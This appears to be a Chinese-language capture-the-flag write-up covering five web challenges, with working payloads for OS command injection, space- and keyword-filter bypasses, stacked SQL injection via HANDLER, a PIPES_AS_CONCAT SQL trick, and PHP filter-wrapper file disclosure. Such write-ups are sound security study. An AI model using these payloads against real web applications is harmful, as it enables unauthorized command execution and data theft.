第2天(共5题)
Web
[ACTF2020 新生赛]Exec
Payload:target=127.0.0.1;cat /flag
分号;在许多shell中用作命令分隔符,意味着在执行完前一个命令(这里是设置target变量)后,接着执行cat /flag命令。
[GXYCTF2019]Ping Ping Ping
Paayload:
http://4caf85f2-dc7a-47ae-a50f-683bb207ece6.node5.buuoj.cn:81?ip=1;cat$IFS$9`ls`
反引号的「优先级」很高,会先执行反引号中的命令,而后在将执行的「结果」结果配合其他命令执行,也就是说,执行的语句时下面这样:
?ip=1;cat flag.php index.php
根据提示,是要在url后面加上/?ip=参数值来进行解题,这道题类似上道题都是需要执行多个命令获取flag,但是多了过滤。
初始Payload:?ip=1;ls
发现能够返回目录下的文件:flag.php index.php
加上访问文件:?ip=1;cat flag.php
发现网站过滤空格
绕过空格的几种方式:
- ${IFS}
- $IFS$9 $9可改成其他数字
- <
- <> 重定向符
- {cat,flag.php} 用逗号,实现了空格功能
本题中$IFS$9可行
绕过空格:?ip=1;cat$IFS$9flag.php
发现过滤flag字样
绕过flag的几种方式:
- 编码绕过关键词。
- 变量拼接绕过关键词。(?ip=1;b=ag;cat$IFS$9fl$b.php)
- 反引号执行绕过关键词
以上三种方式均可以显示文件内容
flag藏在注释
[强网杯 2019]随便注
Payload:
?inject=0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a
使用0' or True -- a
查询表中所有数据
0后面的`用于结束前面的SQL语句,True使查询语句为真,–是SQL里的注释,a为注释的一部分
源码过滤了select、update、delete、drop、insert、where等关键字,因此本题考点为堆叠注入(即通过分号将多条SQL语句一起执行)
初始Payload:
?inject=0';show tables; -- a
这里直接查询所有表,发现了1919810931114514和word表,由于select被过滤了,show命令又不能查看表中的数据,因此需要使用「handler 命令」来查看表中的数据
添加查询表中数据的Payload:
?inject=0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a
注意表名用反引号括起
得到flag
[SUCTF 2019]EasySQL
Payload:
1;set sql_mod=PIPES_AS_CONCAT;select 1
SQL_MOD:是MySQL支持的基本语法、校验规则
其中设置PIPES_AS_CONCAT之后会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
网站漏洞代码:
select $_POST['query'] || flag from Flag;
使用1;set sql_mod=PIPES_AS_CONCAT;select 1
后输出数据是1列和flag列的组合
其他Payload:
*,1
*代表所有列,逗号作为分割,1加上查询语句的|| flag会得到1这个值,然后语句会一起查询所有列和1列的数据并返回
[极客大挑战 2019]Secret File
Payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
这里可能是因为我加了Chrome的显示插件,所以我能直接看到下面的超链接文字(本来应该是看不到的,不过源代码中的<a id=“master” href="./Archive_room.php"也能看出来),点击跳转至Archive_room.php
注意这里的源代码里面的超链接是<a id=“master” href=“./action.php”,点击SECRET
发现结束但是没有找到flag,而且这个结束页面的链接是end.php,原本是action.php,说明可能有跳转,在Archive_room.php页面进行抓包发现注释
访问这个页面得到提示,说明访问flag.php可以得到flag,这段代码看似过滤file参数值,其实没什么用,直接?file=flag.php
提示找到了但没完全找到,考虑伪协议,将其改为?file=php://filter/read=convert.base64-encode/resource=flag.php
将得到的数据进行解码得到flag